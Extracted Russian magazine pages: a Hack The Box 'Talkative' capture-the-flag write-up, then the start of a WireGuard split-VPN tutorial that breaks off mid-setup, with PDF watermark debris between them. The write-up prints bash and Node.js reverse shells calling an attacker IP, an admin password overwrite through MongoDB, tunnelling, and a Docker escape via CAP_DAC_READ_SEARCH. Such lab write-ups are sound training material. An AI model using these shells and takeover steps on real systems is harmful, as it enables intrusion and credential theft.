Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
20.31 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПРОХОДИМ ЦЕПОЧКУ ДОКЕРКОНТЕЙНЕРОВ ДЛЯ ЗАХВАТА ХОСТА

В этом райтапе по сложной машине с площадки Hack The Box мы проэксплуатируем уязвимость в CMS Jamovi для получения учетных данных, а затем попентестим CMS

Bolt,

чтобы

получить

управление

над

Docker и

туннелировать трафик

на основной хост. После этого работаем с базой RocketChat для авторизации в чате и получения RCE. Чтобы повысить привилегии, разберемся с возможностью

CAP_DAC_READ_SEARCH.

RalfHacker hackerralf8@gmail.com

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.155 talkative.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Результат работы скрипта (продолжение)

Нашли пять открытых портов:

80, 3000 — веб-сервер Apache 2.4.52;

8080, 8081, 8082 — веб-сервер Tornado 5.0.

При этом фильтруется подключение к порту 22 (SSH).

С помощью утилиты WhatWeb узнаем, какие технологии используются на обнаруженных открытых портах.

whatweb http://talkative.htb

whatweb http://talkative.htb:3000/

whatweb http://talkative.htb:8080/

whatweb http://talkative.htb:8081/

whatweb http://talkative.htb:8082/

Проверка используемых технологий

Из всего, что нашел WhatWeb, нас больше всего интересует платформа Jamovi.

Главная страница сайта http://talkative.htb:3000/

ТОЧКА ВХОДА

Нам доступен Rj Editor, а это очень легкий способ получить удаленное выполнение кода (RCE). Для создания реверс-шелла будем использовать сайт

Online Reverse Shell Generator. Там указываем параметры, такие как локальные хост и порт, язык и целевую систему.

Online Reverse Shell Generator

Затем открываем листенер, можно скопировать команду из генератора. А теперь открываем Rj Editor и передаем сгенерированный шелл в функцию system. Отправляем на выполнение комбинацией клавиш Ctrl + Shift + Enter.

system("bash -c 'bash -i >& /dev/tcp/10.10.14.11/4321 0>&1'", intern=TRUE)

Rj Editor RCE

И получаем удаленную командную оболочку.

Бэкконнект от сервера

По пользователю и имени хоста понимаем, что находимся в докер-контейнере.

ТОЧКА ОПОРЫ

Осматриваемся в рабочем окружении и в домашнем каталоге рута находим файл с расширением omv.

Содержимое каталога /root/

Перенесем этот файл на локальный хост для дальнейшего изучения. Так как файл маленький, можем закодировать его в Base64, а потом декодировать на локальном хосте.

cat /root/bolt-administration.omv | base64 -w0

Кодирование файла

Декодируем текст, а затем распакуем как архив ZIP. В одном из файлов найдем учетные данные.

echo UEsDBBQA...

mBgAAAAA= | base64 -d > bolt-administration.omv

unzip bolt-administration.omv

Содержимое файла xdata.json (логины)

Содержимое файла xdata.json (пароли)

Получаем следующие пары учетных данных:

matt@talkative.htb : jeO09ufhWD<s

janit@talkative.htb : bZ89h}V<S_DA

saul@talkative.htb : )SQWGm>9KHEA

Я перепробовал разные комбинации логинов и паролей, но доступа все равно никуда получить не удалось. Однако находим почтовый адрес администратора и, попробовав найденные пароли для него, авторизуемся в CMS Bolt.

Главная страница http://talkative.htb/bolt

CMS Bolt — RCE

Bolt использует Twig для шаблонов и позволяет управлять контентом и пользователями. Это дает нам возможность записывать код в новый файл или вносить изменения в существующие файлы.

Чтобы воспользоваться этой возможностью, перейдем к конфигурационным файлам, затем выберем и откроем для редактирования любой файл на PHP.

Главное меню CMS Bolt

Список конфигураций

Содержимое файла con g/bundles.php

Нам нужно записать реверс-шелл в этот файл, а потом обратиться к нему. В качестве шелла можно использовать знаменитый pentestmonkey, который тоже есть в Online ReverseShell Generator.

Генерирование PHP-реверс-шелла

Командой rlwrap -cAr nc -lvnp 4321 открываем листенер, обращаемся к измененному файлу и получаем бэкконнект.

Полученный бэкконнект

ПРОДВИЖЕНИЕ

Так как мы находимся в докер-контейнере, нужно провести разведку, и лучшее средство для этого — deepce. Загружаем его с локального хоста при помощи curl и выполняем.

curl http://10.10.14.11:8000/deepce.sh -o deepce.sh

chmod +x deepce.sh

./deepce.sh

Информация о контейнере

Ничего найти не удалось, но зато узнаем адрес «Докера» и адрес главного хоста. Текущий контейнер будем использовать как прокси-хост, поэтому загружаем на него Chisel и создаем туннель Socks. Используем свой хост как сервер и открываем порт 8080 для обратного подключения:

./chisel.bin server -p 8080 --reverse

Логи сервера Chisel

На клиенте (удаленном хосте) выполняем подключение к серверу:

./chisel.bin client 10.10.14.11:8080 R:socks

Логи клиента Chisel

Если туннель будет успешно создан, в логах сервера обнаружим новую сессию.

Логи сервера Chisel

Просканируем порты на главном хосте. Так как Docker использует другой сетевой интерфейс, результат скана должен отличаться от того, что мы выполняли в самом начале. Для перенаправления трафика из Nmap в наш туннель будем использовать ProxyChains. В конфиг /etc/proxychains.conf внесем запись socks5 127.0.0.1 1080. После чего запустим скан.

proxychains -q nmap 172.17.0.1

Результат сканирования Nmap

Видим открытый SSH. Не забыл, что у нас есть целая пачка учетных данных? Перебираем все комбинации и в итоге авторизуемся от имени пользователя saul.

Сессия SSH

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

ПРОХОДИМ ЦЕПОЧКУ ДОКЕР-КОНТЕЙНЕРОВ ДЛЯ ЗАХВАТА ХОСТА

DOCKER

MongoDB

Сканирование хоста ничего интересного нам не дает, поэтому посмотрим на запускаемые процессы. Для этого применим утилиту pspy64. В логах pspy64 находим запуск какого-то скрипта /root/.backup/update_mongo.py.

Вывод утилиты pspy64

На самом хосте базы MongoDB нет, поэтому, скорее всего, происходит подключение к базе на удаленном хосте. Командой netstat -tulpan проверим сетевые соединения.

Сетевые соединения

В списке есть хост 172.17.0.2. Так как туннель уже создан, просканируем порт 27017.

proxychains -q nmap -p27017 -A 172.17.0.2

Результат сканирования портов

Отлично, мы нашли MongoDB. Раньше с этой базой я работал с помощью DBeaver, но теперь поддержка MongoDB в ней только за денежку, поэтому юзаем утилиту mongosh, которую нужно установить на свой хост.

wget https://downloads.mongodb.com/compass/mongodb-mongosh_1.3.1_

amd64.deb

sudo dpkg -i mongodb-mongosh_1.3.1_amd64.deb

После установки mongosh нам требуется «прокинуть» порт 27017 на наш хост. Для этого снова используем Chisel.

# local host

./chisel.bin server -p 8081 --reverse

#remote host

./chisel.bin client 10.10.14.11:8081 R:27017:172.17.0.2:27017

Весь трафик, который мы отправим на локальный порт 27017, будет туннелирован на порт 27017 указанного хоста (172.17.0.2) через хост-клиент Chisel. Теперь подключимся к базе.

mongosh "mongodb://LOCALHOST:27017"

Подключение к базе MongoDB

Первым делом получаем список баз данных.

show databases

Список баз данных

Обращает на себя внимание база admin. Просмотрим таблицы.

use admin

show tables

Список таблиц в базе admin

Я получил вывод ключей, но это ничего мне не дало, кроме предположения, что у нас высокие права.

db.system.keys.find()

Содержимое таблицы system.keys

Тогда я перешел дальше — к базе meteor. В ней очень много таблиц, в том числе и users, содержимое которой нам больше всего интересно.

use meteor

db.users.find()

Содержимое таблицы users

И это таблица RocketChat!

RocketChat RCE

Мы имеем доступ к базе RocketChat, при этом нам известно имя пользователя (admin). Из документации узнаем, что можем сбросить пароль, точнее — установить дефолтный пароль 12345. Для этого нужно просто произвести запись в базу данных.

db.getCollection('users').update({username:"admin"},{$set:{

"services":{"password":{"bcrypt":"$2a$10$n9CM8OgInDlwpvjLKLPML.

eizXIzLlRtgCh3GRLafOdR9ldAUh/KG"}}}})

Изменение пароля пользователя

Запись прошла успешно, поэтому авторизуемся в чате как admin:12345.

Главная страница RocketChat

Первым делом нам нужно узнать версию продукта. В RocketChat это вкладка «Администрирование → Информация».

Проверка версии RocketChat

Узнали, что используется версия 2.4.14. Сразу стоит проверить, есть ли для версии готовые эксплоиты. Самый надежный способ обнаружить такие эксплоиты — поискать в интернете на сайтах вроде HackerOne, exploit-db, а также на GitHub.

Поиск эксплоита в Google

Хоть эксплоитов я и не нашел, но зато узнал, что для административных аккаунтов RocketChat предоставляет интеграции, которые позволяют создавать входящие и исходящие веб-хуки. Эти веб-хуки могут иметь связанные с ними скрипты, которые выполняются при срабатывании веб-хука, а это и есть RCE! Для создания новой интеграции выбираем опцию Администрирование

Интеграции Новая интеграция.

Создание новой интеграции

Выбираем «Входящий веб-хук» и заполняем необходимые поля.

Создание новой интеграции (продолжение)

В самом низу страницы требуется указать использование скрипта и написать сам скрипт Node.js. Будем использовать простой реверс-шелл.

const require = console.log.constructor('return process. mainModule.require')();

(function(){

var net = require("net"),

cp = require("child_process"), sh = cp.spawn("bash", []);

var client = new net.Socket(); client.connect(5432, "10.10.14.11", function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; })();

Создание новой интеграции (продолжение)

После сохранения интеграции и обновления страницы мы получим URL веб-хука.

Получение токена веб-хука

Теперь осталось перейти по данной ссылке, и нам прилетит бэкконнект. Но тут забегу вперед... Нам прилетит сессия в Docker, на котором будут урезаны нужные утилиты, и понадобится загружать в систему файлы, поэтому в качестве листенера я использовал pwncat, который запустит свой агент.

pip3 install pwncat-cs

pwncat-cs -m linux -lp 5432

Сессия пользователя в pwncat

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Docker escape

И мы снова попадаем в Docker. Базовые перечисления системы мало чем могут помочь, так как они преимущественно нужны для повышения привилегий. Не так давно я нашел утилиту CDK, внутри у которой чекер и множество реализаций методов выхода из «Докера». Загружаем файл в Docker с помощью команды upload, даем права на исполнение и запускаем авточекер.

cdk_linux_amd64 auto-escape

Проверка методов выхода из «Докера»

CDK нашел активную возможность CAP_DAC_READ_SEARCH, подсказывает, что она нам дает, и отображает команду для эксплуатации.

В Linux пользователь root получает особый контекст при запуске любых процессов. Так, ядро и приложения, работающие от имени root, обычно пропускают любые ограничения, заданные на действия в определенном контексте, поэтому root может делать все, что захочет. Но что, если определенному процессу, который работает в непривилегированном контексте, нужно выполнить требующее привилегий действие, не повышая уровня прав?

Например, бывает нужно разрешить процессу записывать в журнал аудита ядра, но не позволять отключить этот аудит. Ведь если запустить этот процесс в контексте рута, он сможет выполнить оба действия!

Тут на помощь и приходят Linux capabilities. Эти «возможности» предоставляют процессу не все множество привилегий, а какое-то его подмножество. Другими словами, все привилегии рута разбиваются на более мелкие независимые друг от друга привилегии и процесс получает только те, которые ему нужны.

Возможность CAP_DAC_READ_SEARCH позволяет процессу обходить права на чтение для файлов и права на чтение и выполнение каталогов. Создавалась она для поиска или чтения файлов, но также предоставляет процессу разрешение на вызов open_by_handle_at. Любой процесс с возможностью

CAP_DAC_READ_SEARCH может использовать open_by_handle_at для получения доступа к любому файлу, даже к файлам за пределами своего пространства имен при монтировании разделов.

Тогда сразу прочитаем флаг рута, который расположен за пределами докер-контейнера.

cdk_linux_amd64 run cap-dac-read-search /root/root.txt

Флаг рута

Машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ПРИВАТНОСТЬ

 

wClick

to

 

 

 

o m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

p

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМСЯ

СWIREGUARD

ИДЕЛАЕМ СВОЙ УМНЫЙ VPN

Забавная ситуация: сайтов и сервисов, доступных только через VPN, все больше, но при этом многие российские компании закрывают доступ из-за границы. В результате приходится целыми днями теребить ползунки «вкл-выкл», что утомительно. Я расскажу, как с помощью магии маршрутов и WireGuard, решить эту проблему и сделать «умный» VPN, который не надо отключать.

vvzvlad

Любопытен. Ленив. Вреден. xaker@vvzvlad.xyz

Если ты пользуешься VPN, то и сам наверняка сталкиваешься с блокировками зарубежного трафика. К примеру, могут не открываться pochta.ru, leroymerlin.ru, rt.ru, avito.ru.

Получается мем.

Каждый с этим борется как может. Например, на устройствах Apple родными средствами можно настроить автоматизацию, которая будет запускать VPN, когда открываешь определенные приложения (например, Twitter), а когда выходишь из них — выключать обратно. Но это костыль, а хочется все сделать красиво, да еще и прокачать навык работы с сетью.

Поэтому мы сейчас попробуем «включать чуть-чуть VPN».

При таком использовании это скорее прокси, а не VPN, но любые методы обхода блокировок теперь называют VPN, так что, сделав эту оговорку, дальше расслабимся и будем делать как все.

Заодно чуть улучшим качество связи с локальными ресурсами: необходимость таскать трафик сначала до VPN вне страны, а потом обратно до сервера внутри нее драматично сказывается если не на скорости, то на задержке точно. Даже на проводном интернете пинг в 4 мс до Яндекса легко превращается в 190 мс, а на мобильном интернете — из 80 мс в 240 мс. Дополнительный хоп внутри страны чуть ухудшит дело, но далеко не так драматично.

Делать все мы будем на основе WireGuard — это относительно новая (разрабатывается с 2016 года, в отличие от OpenVPN и IPsec: первый — это двухтысячные, а второй еще раньше) технология VPN. Создал ее, по сути, один человек — zx2c4, которого в миру зовут Джейсоном Доненфельдом. Плюсы WG — скорость (особенно для Linux, где он может работать как модуль ядра, начиная с Kernel 5.6, и Windows, где модуль для ядра выпустили около недели назад), низкие задержки, современная криптография и простая настройка и использование конечным юзером.

Ах да, еще UDP. UDP для туннелей — это хорошо, потому что у TCP уже есть механизмы, которые позволяют ему работать на неидеальных соединениях, а UDP представляет собой именно такое соединение. А когда ты засовываешь TCP в TCP, то отказываешься от большей части этих механизмов (инкапсулированный TCP-пакет будет гарантированно доставлен другой стороне, хотя протокол допускает недоставку), но все еще несешь весь оверхед вида «хендшейк соединения для отправки хендшейка».

Не говоря уж о том, что инкапсулировать UDP в TCP — ничуть не лучшая идея, потому что сразу рушит все предположения всяких скайпов о том, что лучше пропустить пару пакетов, чем уменьшить задержку: каждый UDP-пакет

вэтом случае будет принудительно послан заново и доставлен корректно, не считаясь с затратами времени.

Особенно для одинокого пользователя-хакера приятна работа с шифрованием: нет необходимости ни в сертификатах и удостоверяющих центрах, ни в логинах-паролях, все, что нужно, — обменяться публичными ключами с пиром, с которым ты хочешь установить соединение. Для больших компаний это, конечно, будет скорее минусом, как и то, что WG — это только базовая часть полноценной большой инфраструктуры VPN. Но именно WireGuard использовали, к примеру, в Cloud are для своего WARP, правда, написав его собственную реализацию — boringtun.

Еще один минус WG — то, что трафик не обфусцирован и глубокая инспекция пакетов (DPI) выявит и позволит заблокировать такое соединение (не говоря уж о блокировке UDP совсем, что почти не мешает работать с вебом, но гарантированно ломает WireGuard). Для скрытия трафика рекомендуется использовать специализированное ПО — Cloak, Obfsproxy, Shadowsocks, Stunnel, SoftEther, SSTP или, в конце концов, простой SSH. Часть из этих инструментов может работать совместно с WG, а часть способна его заменять

вкачестве инструмента стеганографии: WG изначально создавался под скорость и криптографическую защищенность.

Если очень упрощать, ключи работают следующим образом: у нас есть закрытый (приватный) ключ, из которого можно сгенерировать открытый, или публичный. Наоборот, из открытого ключа получить закрытый мы никак не можем. Затем мы шифруем с помощью закрытого ключа какую-то строку, а при помощи открытого расшифруем ее и тем самым убедимся, что у собеседника точно есть закрытый ключ, а значит, он тот, за кого себя выдает. Таким образом, мы можем без проблем передавать открытый ключ — он всего лишь позволяет проверить подлинность автора, но не притвориться им.

Это как

в SSH — публичный ключ лежит на сервере, где его потеря —

небольшая

беда: все, что сможет сделать

с ним злоумышленник, —

это положить его на свой сервер, чтобы ты

мог подключиться к нему

с помощью закрытого ключа.

Так вот, в WG на первом этапе подключения каждая сторона с помощью зашифрованного приватным ключом сообщения доказывает собеседнику, что она именно она: это проверяется публичным ключом.

Второй этап — создание с помощью этих ключей и матана симметричных ключей для шифрования самого трафика. Благодаря тому что расшифровать зашифрованное публичным ключом нельзя без приватного, мы сможем создать ключ для симметричного шифрования и отправить его по защищенному каналу. Этот шаг необходим потому, что симметричное шифрование гораздо менее ресурсоемкая операция, а минус у нее только один: необходимо синхронизировать ключ между сторонами, при том что перехват ключа третьей стороной ведет к возможности расшифровки трафика.

Но эта проблема решается с помощью асимметричной схемы. Это называется протокол Диффи — Хеллмана — способ защищенного получения общего секретного ключа. В WG используется ECDH — вариация Диффи — Хеллмана на эллиптических кривых. Первые два этапа в терминах WG называются рукопожатием или хендшейком.

Затем симметричные ключи используются для шифрования трафика. Раз в две минуты происходит новое рукопожатие и сессионные ключи меняются.

Разумеется, в реальности все немного сложнее: например, отправляются не сами ключи, а сгенерированные на их основе эфемерные ключи, которые удаляются сразу после операции. Заинтересовавшихся подробностями отправляю к краткому описанию на сайте WireGuard.

Мы же перейдем к более практическим действиям.

ШАГ 1. СОЗДАЕМ И НАСТРАИВАЕМ ДВА СЕРВЕРА

Один сервер будет внутри страны — через него трафик пойдет на локальные ресурсы, а второй — за границей. Дальше я их буду называть local и external.

Идеально, если local будет в твоей домашней сети, потому что при этом трафик на внешние ресурсы не отличается от твоего домашнего трафика. Но для этого нужен какой-то хост дома, белый IP и возможность пробросить порт. У меня это виртуалка на домашнем сервере, но, наверное, подойдет и Raspberry Pi или аналогичный одноплатник.

Вариант с одноплатником я не тестировал и не уверен, что он сработает. Raspberry Pi придется маршрутизировать весь трафик с устройств и держать в памяти около 11 тысяч маршрутов; ресурсов на это может не хватить.

Если дома хоста нет, можно взять любой сервер у хостера VDS. Увы, некоторые сайты блокируют подсети хостеров, опасаясь ботов, так что это менее предпочтительный вариант.

А вот внешнюю машину можно арендовать и у хостера. К примеру, у RU VDS и VDSina есть зарубежные площадки. А можно выбрать иностранного хостера, если найдешь способ оплачивать его услуги. Например, я использую исландский 1984.hosting, созданный специально для параноиков.

Считаем, что на обоих серверах у нас Debian 11. Ставим нужные нам пакеты:

apt update && apt install -y wireguard iptables ipcalc qrencode

curl jq traceroute dnsutils ufw

Включаем перенаправление трафика: в этом случае сервер, получив пакет, который не предназначается ни одному из его IP-адресов, не отбросит его, а попытается перенаправить в соответствии со своими маршрутами.

echo "net.ipv4.ip_forward=1" > > /etc/sysctl.conf

echo "net.ipv4.conf.all.forwarding=1" > > /etc/sysctl.conf

sysctl -p /etc/sysctl.conf

Опционально (но очень удобно) сразу поменять hostname обоих серверов, чтобы не запутаться, где какая консоль:

hostnamectl set-hostname trickster-internal

hostnamectl set-hostname trickster-external

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ПРИВАТНОСТЬ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМСЯ

СWIREGUARD

ИДЕЛАЕМ СВОЙ УМНЫЙ VPN

ШАГ 2. НАСТРАИВАЕМ WIREGUARD ДЛЯ СВЯЗИ ДВУХ СЕРВЕРОВ

Для начала генерируем ключи. Запускаем два раза wg genkey и получаем два приватных ключа:

root@trikster-internal:~# wg genkey

kOd3FVBggwpjD3AlZKXUxNTzJT0+f3MJdUdR8n6ZBn8=

root@trikster-internal:~# wg genkey

6CCRP42JiTObyf64Vo0BcqsX6vptsqOU+MKUslUun28=

Утилита wg genkey не делает ничего волшебного, это просто аналог чего-то в таком духе:

echo $RANDOM | md5sum | head -c 32 | base64

Только наверняка более случайное: мы просто генерируем 32 байта случайных значений и представляем их в виде Base64.

Создаем два конфига. Один на internal:

/etc/wireguard/wg-internal.conf

[Interface]

Address = 10.20.30.1/32

ListenPort = 17968

PrivateKey = kOd3FVBggwpjD3AlZKXUxNTzJT0+f3MJdUdR8n6ZBn8= PostUp = iptables -t nat -A POSTROUTING -o `ip route | awk '/ default/ {print $5; exit}'` -j MASQUERADE

PostUp = ip rule add from `ip addr show $(ip route | awk '/ default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n

1| awk '/inet/ {print $2}' | awk -F/ '{print $1}'` table main PostDown = iptables -t nat -D POSTROUTING -o `ip route | awk '/ default/ {print $5; exit}'` -j MASQUERADE

PostDown = ip rule del from `ip addr show $(ip route | awk '/ default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n

1| awk '/inet/ {print $2}' | awk -F/ '{print $1}'` table main

Второй на external:

/etc/wireguard/wg-external.conf

[Interface] Address=10.20.30.2/32

PrivateKey=6CCRP42JiTObyf64Vo0BcqsX6vptsqOU+MKUslUun28= PostUp = iptables -t nat -A POSTROUTING -o `ip route | awk '/ default/ {print $5; exit}'` -j MASQUERADE

PostDown = iptables -t nat -D POSTROUTING -o `ip route | awk '/ default/ {print $5; exit}'` -j MASQUERADE

Секция [Interface] — это настройки конкретного сетевого интерфейса WireGuard, того, что будет виден в ip a. Название интерфейса берется из названия текущего файла конфигурации. У одного интерфейса всегда одна ключевая пара: у пиров этого интерфейса одинаковый публичный ключ.

Но никто не мешает, если хочется, сделать для каждого пира отдельный конфиг и отдельный интерфейс (правда, на сотнях клиентов это будет неудобно).

Управляются интерфейсы обычно при помощи утилиты wg-quick: wg-quick down wg-external и wg-quick up wg-external

Утилита wg-quick — это на самом деле 400 строк на баше, которые автоматизируют часто используемые вещи, например установку маршрутов. Наличие туннеля само по себе не дает ничего, кроме защищенной «трубы», за которой находится другой пир. Чтобы твой запрос в браузере попал в интерфейс, системе надо явно сказать: «Маршрутизируй, пожалуйста, пакеты с таким-то адресом назначения вот в этот сетевой интерфейс».

Именно этим занимается wg-quick. Ну еще и настройкой адресов DNS, указанных в конфиге, установкой MTU и еще парой вещей. Но ничего сложного в этом нет, достаточно сделать cat / usr/bin/wg-quick, чтобы посмотреть на эту логику, и, если надо, повторить то же самое руками.

Interface-Address — это IP текущего пира. Вся адресация в WG статическая. С одной стороны, это упрощает настройку и бутстрап, с другой стороны, усложняет работу, если у тебя очень много клиентов.

ListenPort — это UDP-порт для подключения извне. Если не указать, будет прослушивать 51820.

Interface-PostUp и Interface-PostDown — скрипты, которые выпол-

няются после поднятия и после остановки интерфейса. Есть еще PreUP

и PreDown.

Кроме публичных и приватных ключей, есть еще опция PresharedKey, которая обеспечивает дополнительное шифрование симметричным шифром. Ключ можно сгенерировать, например, командой wg genpsk и добавить в опцию PresharedKey в секциях Peer на обоих пирах. Если не использовать эту опцию, нагрузка по шифрованию и расшифровке не вырастет: когда ключ не указан, используется нулевое значение ключа.

А чтобы по-настоящему обеспечить постквантовую безопасность (невозможность расшифровки данных квантовыми компьютерами), разработчики рекомендуют дополнительный внешний квантово-устойчивый механизм хендшейка, например SIDH, который Microsoft пиарит именно в таком контексте. Созданный им общий ключ можно использовать в качестве PresharedKey.

Заклинания в PostUp достаточно просты. Вот команда для подстановки имени сетевого интерфейса, куда по умолчанию выполняется маршрутизация:

ip route | awk '/default/ {print $5; exit}'

Как правило, это интерфейс, обращенный к провайдеру или роутеру. Таким образом, страшная команда превращается в такую:

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Здесь происходит включение NAT в режиме маскарада: сервер будет отправлять пришедшие ему пакеты во внешнюю сеть, подменяя адрес отправителя своим, чтобы ответы на эти пакеты тоже приходили ему, а не исходному отправителю.

Вторая команда уже немного сложнее, но она подставляет IP-адрес дефолтного маршрута.

`ip addr show $(ip route | awk '/default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n 1 | awk '/inet/ {print $2}' | awk -F/ '{print $1}'`

Сначала мы получаем, как и выше, сетевой интерфейс маршрута по умолчанию:

root@:~# ip route | awk '/default/ { print $5 }'

enp1s0

Потом данные о состоянии этого интерфейса:

root@:~# ip route | awk '/default/ { print $5 }'

inet 192.168.88.70/24 brd 192.168.88.255 scope global dynamic

enp1s0

И дальше вытаскиваем оттуда адрес, в данном случае 192.168.88.70. Команда становится такой:

ip rule add from 95.93.219.123 table mainё

Это необходимо для сервера internal, потому что иначе при активации маршрута 0.0.0.0/0 он начинает пересылать ответы на пакеты, приходящие ему на внешние адреса через туннель WG. Сервер на том конце, конечно, пересылает их по назначению, но тут уже не готов отправитель пакета: он присылает что-то на внешний адрес сервера internal, а ответ ему приходит с external.

Естественно, при включенном rp_ lter пакет отбрасывается. В этом случае сервер перестает быть доступным, например по SSH снаружи. К нему придется коннектиться только по внутреннему IP WireGuard. Отключать rp_ lter — это стрелять из пушки по воробьям, а вот дополнительное правило исправляет ситуацию.

Я намеренно не привожу готовые конфиги, потому что хочу показать механизм создания конфигов в ручном режиме. В свое время я генерировал конфиги утилитами типа easy-wg- quick или веб-сервисами, которые спрашивают тебя о названии клиента и красиво показывают QR-код. Это отнюдь не способствует пониманию того, как работает WG на самом деле, и может вызвать проблемы.

Теперь в оба конфига надо добавить секцию Peer, чтобы связать серверы друг с другом.

Генерируем из приватного ключа публичный (вот в wg pubkey как раз и происходит криптомагия):

root@:~# echo "kOd3FVBggwpjD3AlZKXUxNTzJT0+f3MJdUdR8n6ZBn8=" | wg

pubkey

MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=

Это публичный ключ сервера internal, его мы помещаем в секцию Peer

на external:

